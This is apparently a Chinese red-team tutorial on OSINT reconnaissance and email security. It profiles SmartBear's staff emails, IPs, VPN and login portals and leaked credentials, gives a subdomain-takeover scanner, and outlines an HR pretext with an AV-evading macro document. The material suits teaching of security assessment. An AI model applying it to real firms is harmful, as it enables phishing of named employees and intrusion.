[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/sgwG3BKTXwMZs8QQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/sgwG3BKTXwMZs8QQ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/09B25GcJrroHsA6c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/09B25GcJrroHsA6c-image.png)

## **white-bird.org**

#### **Port 8090 IIS 10.0**

这是一个 .Net 的自定义 Web 应用，使用的是 .Net 框架，看起来无须认证即可进行一些操作，这是很危险的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/rXm4ez10HPrA8TiR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/rXm4ez10HPrA8TiR-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/uhrA4XLKZSu89fg6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/uhrA4XLKZSu89fg6-image.png)

# OSINT信息搜集

## **OSINT信息搜集**

其实在前两篇，我们已经在做一些 OSINT 的信息搜集了，因此笔者刻意放缓了一些节奏，将重点和更有趣的部分在这里讲述。开源情报 (OSINT) 收集是红队、社会工程学攻击和物理渗透的早期关键行动。 OSINT 包括任何公开可用的内容，并且可以在不引起蓝队过度关注的情况下访问。许多人认为使用搜索引擎就足以找到他们所需要的数据，但实际上大多数互联网都没有被搜索引擎索引。 OSINT 的其他常用来源的示例包括：

**公司网站**  
 **产品信息**  
 **组织信息**  
 **联系信息**  
**社交媒体**  
 **员工关系**  
 **员工信息**  
**招聘信息**  
 **公司基础设施的信息**  
 **职位空缺**  
**公共数据库**  
 **dehashed.com：历史泄露数据的数据库**  
 **Wayback Machine：来自公司网站的历史信息**  
 **ICANN：IP地址、域名注册等信息**  
 **Google Dorks：使用先进的 Google 搜索引擎技术来提取信息**  
 **Shodan：Shodan 是一个互联网连接设备的搜索引擎**

接下来，我们以几个具体的例子来展示 OSINT 信息能给我们带来哪些有用的情报，以下这些还不是一个穷尽的可能，我们用作抛砖引玉。

我们从官网注意到，该公司的IT部门主管是CISO，即首席安全官。虽然这不代表该公司的安全程度就真的滴水不漏，但有一定程度的安全控制措施、流程、策略被部署是可以预见的.

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/WdUimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/WdUimage.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/mkrAtOiMSnztXwMt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/mkrAtOiMSnztXwMt-image.png)

查看公司的 Contact Info, 即联系信息, 我们找到了一些地址, 电话, 邮箱等. 在网站上列举联系方式并不是一个错误配置, 几乎所有公司都会在门户房展上展示, 但同时也给我们提供了一定的信息, 以及社会工程学攻击的入口点.

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/aLGCmlborRvtHRqP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/aLGCmlborRvtHRqP-image.png)

查看公司的 Career 板块, IT部门有个开放岗位 Atlassian Administrator，说明该公司有在使用 Atlassian 的产品，例如 JIRA、Confluence，并且从职责描述中也得到了证实。因此, 如果我们能找到面向公网开放的 Atlassian 应用, 可以用近期的 0 day漏洞尝试攻击, 例如 CVE-2022-26134 Confluence RCE: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134).

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/J7gimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/J7gimage.png)

此外, 我们还能获得这些信息:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/SwtxowtUPZNQ43Mw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/SwtxowtUPZNQ43Mw-image.png)

```
Operating System: Windows 10, Linux, Mac OS X
Active Directory: Microsoft Active Directory
Production Software: Tomcat, Jenkins
Email: Outlook
Video Conferencing: Zoom, Polycom
Office Suite: MS Office, OneDrive, Office 365
Issue and Project Tracking: Atlassian Jira
Wiki: Atlanssian Confluence
```

我们在泄漏库网站 [https://dehashed.com](https://dehashed.com) 上搜集 smartbear.com 的域名，得到了一些员工的详细个人信息甚至密码, 虽然大概率这些密码已经得到了修改, 但运气好的话, 也许会有少数并没有及时被修改, 甚至在后来得到了重用.

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/oyUimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/oyUimage.png)

我们通过一两个员工邮箱的案例, 我们得知该公司对于员工邮箱的命名格式为 **\[名\].\[姓\]@smartbear.com**, 或者是 **\[部门\]@smartbear.com**, 以及 **\[产品\]@smartbear.com**. 因此, 在得知员工列表后, 我们几乎可以列举出所有员工的工作邮箱. 此外, 我们可以在领英上查看特定员工的职位以及所在地区 (办公室), 从而推断出员工关系, 例如他的上级, 下属, 同事. 针对人事的攻击, 高价值目标能带来更多的价值, 例如部门领导, 总监, 执行官等, 以下是一些实例:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/1r7eyg0BQ7Dlbl6c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/1r7eyg0BQ7Dlbl6c-image.png)

```
Head of G&A Department: Bryce Chicoyne - bryce.chiocyne@smartbear.com
Head of Product & Dev Department : Dan Faulkner - dan.faulkner@smartbear.com
Head of Sales Department : Lou DiFruscio - lou.difruscio@smartbear.com
Head of Marketing Department: Cynthia Gumbert - cynthia.gumbert@smartbear.com
Head of HR Department: Veronica Curran - veronicac.urran@smartbear.com
Head of IT Department: Christine Whichard - christine.whichard@smartbear.com
Head of Legal Department: Lance Levy - lance.levy@smartbear.com
Director, Product Security: Matthew Runkle - matthew.runkle@smartbear.com
Director of Information Security: Adam FairhallView - adam.fairhallView@smartbear.com
Senior Director Of Engineering: Patrick Day - patrick.dayv@smartbear.com
```

工具 theHarvester 也可以用于寻找目标域名的有趣信息, 例如员工邮件地址, 网址, 存活IP和主机等.

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/tpAimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/tpAimage.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/vuaimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/vuaimage.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/oIcimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/oIcimage.png)

公开的 IP 或主机显着扩大了目标公司的攻击面, 如果部署在这些 IP/主机上的任何服务或应用程序被利用，攻击者就有可能在内部网络中获得一个立足点。以下, 是 Smartbear 公司的一些存活主机或 IP.

```
* 10.110.1.67,10.110.4.134,10.110.2.49,10.110.3.129
* 10.110.3.129,10.110.1.67,10.110.4.134,10.110.2.49
* 10.110.4.134,10.110.1.67,10.110.3.129,10.110.2.49
* 10.50.22.103,10.50.21.64
* 10.81.21.164,10.81.22.83
* 10.81.22.174,10.81.21.136
* 10.92.10.229,10.92.30.136
* 104.130.174.23
* 104.16.242.229,104.16.243.229
* 104.17.71.206,104.17.70.206,104.17.72.206,104.17.74.206,104.17.73.206
* 104.17.72.206,104.17.73.206,104.17.70.206,104.17.71.206,104.17.74.206
* 104.44.133.165
* 104.44.134.177
* ............
* 104.47.59.138,104.47.55.138
* 54.208.93.159,34.196.253.122
* 54.209.140.167,18.211.47.137,3.224.145.90,54.82.45.42
* 54.237.159.170,52.7.153.190
* 64.78.230.178
* 65.8.20.112,65.8.20.45,65.8.20.85,65.8.20.13
* 78.31.213.98
* 79.142.246.130
* 79.142.246.131
* 79.142.246.132
* 87.244.55.186
* 89.107.198.52
* 99.84.191.126,99.84.191.57,99.84.191.23,99.84.191.43
* 99.84.191.23,99.84.191.57,99.84.191.126,99.84.191.43
```

通过枚举这些存活的 IP, 我们找到了一批应用的登陆页面. 对于攻击者来说, 他们会尝试使用弱口令, 默认凭证, 甚至暴力破解攻击来获得访问. 并且, 如果这些登陆门户没有实施 SSO 的话, 攻击者可以克隆网站并钓鱼获得员工的凭证,.

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/oVBuaL7caxej5Nph-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/oVBuaL7caxej5Nph-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/RC4nptbrLgt79LCo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/RC4nptbrLgt79LCo-image.png)

```
https://my.smartbear.com/login.asp?returnUrl=/index.asp
https://accounts.smartbear.com/accounts/login?next=/
https://app1.qacomplete.smartbear.com/Common/login.html?redirect=app%3DagSP
https://app2.qacomplete.smartbear.com/Common/login.html?redirect=app%3DagSP
https://login.slm.manage.smartbear.com/
https://se-sydney-vpn.smartbear.com/?src=connect
https://vpn-de.smartbear.com
https://vpn-dr.smartbear.com
https://vpn-fl.smartbear.com
https://vpn-ire.smartbear.com
https://vpn-mem.smartbear.com
https://vpn-mum.smartbear.com
https://vpn-swe.smartbear.com
https://vpn-uk.smartbear.com
https://vpn.smartbear.com
https://vpn-bos.smartbear.com
............
https://id.smartbear.com/login
https://smartbear-cc.force.com/portal/SupPortalLogin
https://staging.smartbear.com/
```

此外, 我们可以用 Google Dorking 技术找到了 SmartBear 的 2 个可以展开的文件夹. 虽然可以展开的文件夹不总是能带来安全风险的, 但绝对不是一个建议的配置.

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/cv9ZQbN9iLj6omOm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/cv9ZQbN9iLj6omOm-image.png)

```
https://eclipse.smartbear.com/8.0/8_5_8502/
https://eclipse.smartbear.com/8.0/8_4_8406/
https://eclipse.smartbear.com/8.0/8_5_8502/
```

根据 [https://jira-app.ze.smartbear.com/](https://jira-app.ze.smartbear.com/) 站点, 我们得知 SmartBear 在 Azure 上部署服务, 即我们得知了 Azure 是 SmartBear 所采用的云设施之一.

我们还在 Shodan 上发现了 SmartBear 的一台开启了 RDP 的服务器, 从证书来看, 是 QA 部门的. 对公网开启 RDP 协议, 会导致攻击者进行密码攻击, 以及使用历史 RDP 的 CVE 漏洞, 例如 BlueKeep 进行攻击.

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/9QDoQX2QrJIohckw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/9QDoQX2QrJIohckw-image.png)

在 Fofa 上, 我们还找到了 SmartBear 公司暴露在公网上的 **RabbitMQ** 服务:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/YhDxqna3Wt5TStaM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/YhDxqna3Wt5TStaM-image.png)

然后, 我们研究一下 SmartBear 的母公司, 子公司, 以及合作伙伴. 我们可以用这个网站 [https://www.crunchbase.com/organization/smart-bear-software](https://www.crunchbase.com/organization/smart-bear-software) 来查询目标的子母公司.

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/Ish6OcjnKSxWMEfo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/Ish6OcjnKSxWMEfo-image.png)

经过汇总, 如下:

```
Subsidiaries
Pactflow
Bugsnug
TM4J
Swagger
Bitbar
Cucumber
Zephyr
Hiptest
CrossbrowserTesting.com
lucierna
AlertSite
SoapUI
Francisco Partners
Vista Equity Partners
Insight Partners
```

我们通过查询历史新闻, 证实了我们的发现:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/9Hc5hic3PwveB17W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/9Hc5hic3PwveB17W-image.png)

从官网 [https://smartbear.com/partners/find-a-partner/](https://smartbear.com/partners/find-a-partner/), 我们得知了 SmartBear 的合作伙伴:

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/tBu2BdA9Pxa0yYwG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/tBu2BdA9Pxa0yYwG-image.png)

另外, 开源工具 SpiderFoot 能够使用爬虫帮我们爬到海量的OSINT信息。

地址：[https://github.com/smicallef/spiderfoot](https://github.com/smicallef/spiderfoot)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/Lhtimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/Lhtimage.png)

以上是个抛砖引玉，我们既要擅长手动搜集OSINT信息，也可以适当借助好用的工具协助我们提高效率。有了这些丰富的信息后，可以对目标有个更深的了解，更是为后续的社会工程学攻击做准备。

# 子域名接管

子域名接管漏洞可以被攻击者用来创建可信的钓鱼方案、恶意软件分发、CSP 绕过、读取父域 Cookie 等。对于企业来说，子域名有更高的可能性直接绕过邮件过滤器，因此钓鱼攻击的成功率大大增加。

子域名接管意思是攻击者对目标域的一个子域有了完全的控制权，通常在以下情况出现

1：在 DNS 记录中，一个子域 (**www.azuresky.live**) 的 **CNAME** 所指向另一个域 (**dlersec.azureedge.net**)，但是 dlersec.azureedge.net 在某个时间点过期了并且重新开放给任何人注册。此时，**[www.azuresky.live](https://www.azuresky.live)** 的这条CNAME尚未移除。

2：在 DNS 记录中，一个子域 ( blog.raven-medicine.com) 的 CNAME 所指向一个虚拟主机，比如可以是某个主机提供商上部署的(**blog.bestwebsites.net**)，但这个时候这个虚拟主机还没有被部署或者已经移除了。那么攻击者可以在该平台注册名为 blog 的虚拟主机

一个简单的验证方法如下：

```bash
┌──(root㉿kali)-[~/Desktop]
└─# host -t cname app-cloud.dev.example.com
app-cloud.dev.example.com is an alias for app-cloud-dev-eus.azurewebsites.net.
                                                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# host app-cloud-dev-eus.azurewebsites.net      
Host app-cloud-dev-eus.azurewebsites.net not found: 3(NXDOMAIN)

```

根据此验证方法，我们写一个脚本来批量验证子域名是否可以被接管。

```python
import sys
import dns.resolver

if len(sys.argv)!=2:
        print("Usage: python3 subdomain.py target.txt")
file=sys.argv[1]
target=[]
vuln=[]

with open(file,"r") as fp:
        for line in fp:
                try:
                        target.append(line.strip())
                except:
                        #print(line)
                        print('Error')
print("Read "+str(len(target))+" subdomains")

for sub in target:
        try:    
                cname = str(dns.resolver.resolve(sub, 'cname')[0])
                cname=cname[0:len(cname)-1]
                try:
                        host=dns.resolver.resolve(cname, 'A')
                except:
                        print(sub+" is vulnerable to subdomain takeover")
                        vuln.append(sub)
                        pass
        except:
                pass
        
print("\n\nThe following subdomains are vulnerable to subdomain take over")
for i in vuln:
        print(i)

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/jj7r7gMQpaP5MjzX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/jj7r7gMQpaP5MjzX-image.png)

但该脚本的判断可能受 DNS 服务器、网络连通性 (获取 CNAME 超时)影响。此外，根据各主机平台的策略，实际接管难度也有所不同。我们可以使用更加专业的工具 [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) 来枚举可接管的子域名。

# 邮件服务器安全

SMTP 简单邮件传输协议，正如名称所言，简单的实施，无需身份认证，而且发件人地址是可以自己指定的，因此该缺陷可以被利用与伪造和模仿发件人。考虑邮件是社会工程学攻击的重要载体，因此现代企业也配置了如下这些加固邮件服务安全性的措施。从企业角度，他们可以更高效地防范邮件钓鱼攻击、垃圾邮件等，对于网络安全中的进攻方，则增添了社会工程学攻击的难度，我们一起来了解一下。

### **MX 记录**

MX 即 **Mail Exchange邮件交换**，MX 记录用于标识负责代表域名接收电子邮件的邮件服务器。当有人向与特定域关联的电子邮件地址发送电子邮件时，该电子邮件将被传送到该域的 MX 记录中标识的邮件服务器之一。 MX 记录指定每个邮件服务器的优先级和主机名。 优先级值表示尝试邮件服务器的顺序，值越低表示优先级越高。 如果第一个服务器不可用或无法访问，则尝试下一个具有更高优先级值的服务器，依此类推。MX 记录是电子邮件传递的重要组成部分，有助于确保将邮件可靠地传递给目标收件人。

我们可以通过以下命令来查询目标域的 MX 记录：

```bash
┌──(root㉿kali)-[/opt/spoofcheck]
└─# dig MX qq.com +short
20 mx2.qq.com.
30 mx1.qq.com.
10 mx3.qq.com.
                                                                                                                                                  
┌──(root㉿kali)-[/opt/spoofcheck]
└─# host -t MX qq.com       
qq.com mail is handled by 20 mx2.qq.com.
qq.com mail is handled by 30 mx1.qq.com.
qq.com mail is handled by 10 mx3.qq.com.
```

### **SPF 记录**

SPF 记录，全称为 **Sender Policy Framework 发送方策略框架**，域名持有者通过使用 DNS 记录来授权哪些邮件服务器可以代替该域名来发送邮件。当该域名收到一份邮件的时候，接收端服务器会检查发件人域的 SPF 记录，以查看发送服务器是否有被授权为该域发送电子邮件。 如果发送服务器未经授权 (IP 地址不匹配)，电子邮件可能会被拒绝或标记为垃圾邮件。设置 SPF 不仅可以防止自己的域名被第三方恶意伪造，还有助于维持良好的域名名声 (没有设置 SPF 的话，该域名会被广泛用于伪造和垃圾邮件，久而久之接收方会认为该域名被用于恶意用途，尽管只是被恶意第三方所利用的)。例如，我们可以用该在线网站伪造发件人发送邮件：[https://emkei.cz/](https://emkei.cz/)。

一个比较实际的情景可以是这样的，你在一家公司 A\_Company 的 Career 界面申请了一个岗位，提交了所有资料后，你的邮箱收到了一封 noreply@acompany.com 的自动回复邮件，这份邮件实际上是由某职位申请平台 B\_Company 发送的。因为 A\_Company 与 B\_Company 有合作关系，因此 A\_Company 的 SPF 记录授权了 B\_Company 以域 @acompany 发送邮件给申请者。

一个有效的 SPF 记录可以是这样的：

**v=spf1 ip4:209.225.8.0/24 ip4:209.225.28.0/24 ip4:24.196.48.42/32 ip4:24.217.29.16/32 ip4:24.176.92.28/32 ip4:142.136.234.128/27 ip4:142.136.235.128/27 include:et.\_spf.pardot.com include:spf-c.usa.striata.com include:everbridge.net ~all**

这些指定的域名、网段、IP 被授权代替该域名发送邮件，除此之外的所有都 “软拒绝”。对于软拒绝的策略，不同的邮件系统有不同的反应，有的不接受、有的标记、有的接受。

 我们可以在在线网站 [https://mxtoolbox.com/SuperTool.aspx](https://mxtoolbox.com/SuperTool.aspx) 上查询目标域名的 SPF 记录并获得解析。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/QEaB6ZaqLjSrXZer-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/QEaB6ZaqLjSrXZer-image.png)

一些常见的配置失误以及绕过

1：SPF 记录的语法错误，导致整个 SPF 记录失效。

例如：**v=spf1 ip4:113.110.223.0/24 183.110.226.0/24 183.110.255.0/24 59.110.132.0/24 -all**

只有第一个网段有 ip4 的前缀，导致后续的语法错误，让整个记录失效。

2：授权的范围过大，导致有漏网之鱼。例如，SPF 记录授权了一个较大的网段，该网段中任意邮件服务器被入侵了，那么从而实现 SPF 绕过。

3：邮件服务器不支持 SPF 校验

4：内网 DNS 无法解析

5：公司内部的发件人伪造

我们可以通过以下命令来读取目标域的 SPF 记录 (如果配置的话)

```bash
┌──(root㉿kali)-[/opt/spoofcheck]
└─# host -t txt  xx.com | grep spf
qq.com descriptive text "v=spf1 include:spf.mail.xx.com -all"
                                                                                                                                                  
┌──(root㉿kali)-[/opt/spoofcheck]
└─# dig TXT +short xx.com       
"v=spf1 include:spf.mail.xx.com -all"

```

### **DKIM**

全称 **Domain Keys Identified Mail 域名密钥识别邮件标准**。DKIM 是另一种基于 DNS 的身份验证协议，它允许域所有者使用私钥对外发电子邮件进行签名。然后，接收服务器可以使用域的 DNS TXT 记录中发布的公钥来验证签名。 如果签名有效，则可以保证电子邮件在传输过程中未被篡改。由于非对称加密，DKIM 更加难以伪造，除非私钥被攻击者获得。简而言之，DKIM 从垃圾邮件、邮件伪造、钓鱼攻击中保护了邮箱发送者和接受者，是一种邮件认证的形式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/NfSa0uWjtfH8uu5H-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/NfSa0uWjtfH8uu5H-image.png)

### **DMARC 记录**

全称为 **Domain-based Message Authentication, Reporting, and Conformance 基于域名的邮件认证、报告和一致性标准**。DMARC 是一个建立在 SPF 和 DKIM 基础上的策略框架，为域所有者提供一种方法来指定接收服务器应如何处理未通过身份验证检查 (SPF 和 DKIM) 的电子邮件。DMARC 策略可以指示接收服务器通过但标记、拒绝、或隔离电子邮件。

例如该 Dmarc 案例：**v=DMARC1; p=quarantine; sp=none; aspf=r; adkim=r; pct=100; [rua=mailto:dmarcAR@abc.com](https://raven-medicine.com/rua=mailto:dmarcAR@abc.com);**

对于任何 (**100%**) 的邮件消息，如果 SPF 和 DKIM 都没有通过 (这里采取了 **relaxed** 选项，即**部分匹配**即可，任何有效的**子域名**都被接受)，那么对其进行隔离。如果是来自子域的消息，不采取行动。DMARC 日志会被发送到 <dmarcAR@abc.com> 邮箱。因为 DMARC 有有关子域名的设置，因此 DMARC 的配置正确与否，影响着主域名以及子域名。

我们可以通过如下命令来查询目标域的 DMARC 记录

```bash
┌──(root㉿kali)-[/opt/spoofcheck]
└─# dig _dmarc.xx.com TXT +short           
"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@xx.com"
                                                                                                                                                  
┌──(root㉿kali)-[/opt/spoofcheck]
└─# host -t txt  _dmarc.xx.com | grep DMARC
_dmarc.xx.com descriptive text "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@xx.com"

```

### **进攻方**

SPF，DKIM，和 DMARC 3者共同强化了邮件安全。而对于攻击者而言，将我们的钓鱼邮件服务器配置这 3 项，也会让我们的邮件服务器看起来更加可信，从而减少被目标邮件服务器和网关拦截的概率。

# 社会工程学信息搜集

## **社会工程学信息搜集**

在之前，我们已经搜集到了一些很有料的信息，那我们来看看如何利用这些搜集到的信息进行社会工程学攻击。我们能想到的场景之一，是借用求职者的身份与公司的HR进行联系，包括但不局限于 LinkedIn 在线私信、电话联系、邮件联系。尤其是邮件联系，我们介绍过现代邮件系统的安全机制了，对于非内部的邮件地址都会进行 banner 标记，甚至比较明显的诈骗邮件、广告邮件直接会被拦截，收件者根本没有机会看到。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/ihtimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/ihtimage.png)

我们在之前看到，SmartBear公司具有HE部门，我们可以在LinkedIn上搜索该公司IT部门的员工，虽然不一定所有员工都在用LinkedIn。另外，在OSINT信息收集阶段我们得知该公司的邮件地址方案是 **\[名\].\[姓\]@smartbear.com**，例如 **Lindsey.Beaudoin@smartbear.com**.

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/zTOimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/zTOimage.png)

并且我们在之前看到，该公司IT部门有一些岗位是开放的，我们可以声称自己是应聘IT岗位的人员，因为IT人员对公司的基础设施更为了解，如果在询问目标公司的基础设施相关信息的时候，引起怀疑的概率要低一些。例如这么一个语境：“HR你好，作为一个IT系统管理员，我对各家厂商的VPN的配置有一定经验。我可否知道贵公司的VPN供应商？”。如果得到了回答，那么可以查看有关厂商VPN产品的漏洞以及配置不当。

此外，需要注意的是，与HR进行交互，一般分为两种。一种是在求职页面直接填写个人信息、上传简历等。并且我们看到该公司是使用Office工具组的，而允许上传的文件包含word格式，doc格式是支持插入宏的。因此我们可以准备一个插入了宏并且能躲避AV/EDR的doc文档并且上传。但是，通过这种方式上传，对于攻击者来说是没有“回显”的。攻击者甚至不知道HR是否查看了该文件。现在的企业大都有简历过滤系统，会根据关键字进行自动的第一轮筛选。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/hrcimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/hrcimage.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/8jximage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/8jximage.png)

而另外一种交互方式，则是亲自与HR交谈，例如在LinkedIn上与HR在线交谈、发送邮件表达自己求职意愿并且附上带有宏的doc文档。如果HR回复了，那么很大可能他们将会亲自打开该文档。虽然大家都知道宏是个危险的功能，但因为其拥有一定的用途，在企业里并非完全被禁用。但假如即将打开doc文件的HR的默认设置是禁用宏，那么我们需要额外的话术去诱导该HR先开启宏功能。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/cp9image.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/cp9image.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/l9dimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/l9dimage.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/F8Uimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/F8Uimage.png)

那么在技术上如何实现呢？鉴于该章侧重于信息搜集，因此具体攻击手法在下一章讲解。

# 案例分析 Charter Communication 电信公司

有了先前的知识，我们在这一小节进行一个案例分析，对 **Charter Communication** 电信公司进行 OSINT 侦查。这一节虽然是案例分析，但并不是把这章节之前的内容生搬硬套就行，而是需要灵活新增侦查手段，创造性地搜集信息。

既然是 OSINT，那么意味着我们与目标的交互需要是被动的，包括但不局限于使用搜索引擎搜索有关目标公司的信息、查看社交媒体、whois 查询等。为了降低一点难度，我们可以与目标进行正常的交互，例如浏览网站。但是以下是不能进行的：**nmap扫描、漏洞扫描、对公司员工进行社会工程学攻击、利用漏洞**等。

我们目前只有目标企业的名称，即 **Charter Communication Inc**.。首先，我们要确定 Charter 公司在公网的网段，这个我们可以通过查询 Charter 公司的 **ASN 编号**。Charter 这样的大型企业，可能拥有多个 ASN (自治域) 编号，并且每个 ASN 编号都有大量的公共网段。至于ASN，是一个全球唯一标识符，它定义了一组一个或多个 IP 前缀，这些前缀由一个或多个网络运营商运行，这些网络运营商维护一个明确定义的路由策略。这些 IP 前缀组称为自治系统。ASN 允许自治系统与其他自治系统交换路由信息，世界各地的网络运营商都需要自治系统编号来控制其网络内的路由以及与其他网络运营商交换路由信息。

我们可以通过一些在线工具根据企业域名或者企业名称来查询 ASN 编号，例如 [https://bgp.he.net/search?search%5Bsearch%5D=charter+communication&amp;commit=Search](https://bgp.he.net/search?search%5Bsearch%5D=charter+communication&commit=Search)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/yVapkDg0psrORuXn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/yVapkDg0psrORuXn-image.png)

但是，单个来源获取到的 ASN 编号肯定是不全甚至不准确的，我们需要从多个来源搜集相对完整的 ASN 编号。此外，有的 ASN 编号也可能不再活跃，即没有网段与之关联。这里，我提供几个有效的 ASN号码：AS12271，AS11427，AS20115，AS33363。

然后，我们根据 ASN 编号得到尽可能完成的**网段**。比如，我们可以通过在线网站查询 AS12271 的网段 [https://asnlookup.com/asn/AS12271/](https://asnlookup.com/asn/AS12271/)。同样的，我们需要集中多个来源的数据以尽可能减少遗漏，同时，可能一些网站因为更新不及时等原因，会有一些不再属于该 ASN 编号的网段，我们需要注意。在合法的红队行动或者渗透测试中，如果我们确定了错误的范围，那么在后续的过程中可能无意众对非范围内的目标进行攻击，即未授权的行动。所以，相比添加错了的目标，宁愿遗漏一些。当然，最好也不要遗漏。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/6Sdhpw1Zg3Ovs3QX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/6Sdhpw1Zg3Ovs3QX-image.png)

除了过时的数据，我们还需要注意区别出**客户资产**！！！考虑到 Charter 是一家很大的电信企业，在有些服务上也充当着运营商或者服务提供商的身份，因此有些资产可能是客户的，并非 Charter 自身的。如何准确区分这些资产，是难以三言两语总结的。我们简单看 2 个例子作为对比。下图是 shodan 搜索的一个结果，我们看到该结果的主机名是 **mail.wonsbackgroundchecks.com**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/9YYQ6LE5h7BpIfWk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/9YYQ6LE5h7BpIfWk-image.png)

查询一下 wonsbackgroundchecks.com 的 whois 信息，我们没有发现有关 charter.com 的字样，那么有可能是 charter.com 客户的资产。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/iP9gtIxJkZLCI7p0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/iP9gtIxJkZLCI7p0-image.png)

其网站主页揭露了该公司是从事背景调查的，与电信关系不大，因此，作为子公司或母公司的概率也很小。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/tTkVjzoRjTRxQ2q5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/tTkVjzoRjTRxQ2q5-image.png)

查看一下 Charter 的子母公司，也确实没有发现其踪迹。我们发现 **Spectrum** 是 Charter 收购的一家公司。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/eA6CPtFGaiNAc7TE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/eA6CPtFGaiNAc7TE-image.png)

那么下图所示的结果，因为其主机名在 **spectrum 域**之下，很有可能是属于 Charter 的资产了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/YldeqA8PAn6tTYkV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/YldeqA8PAn6tTYkV-image.png)

查询 spectrum.com 的 whois 信息，也能确认这一点。总之，对于资产的确认，我们务必要十分小心，不然很容易进行未授权操作。

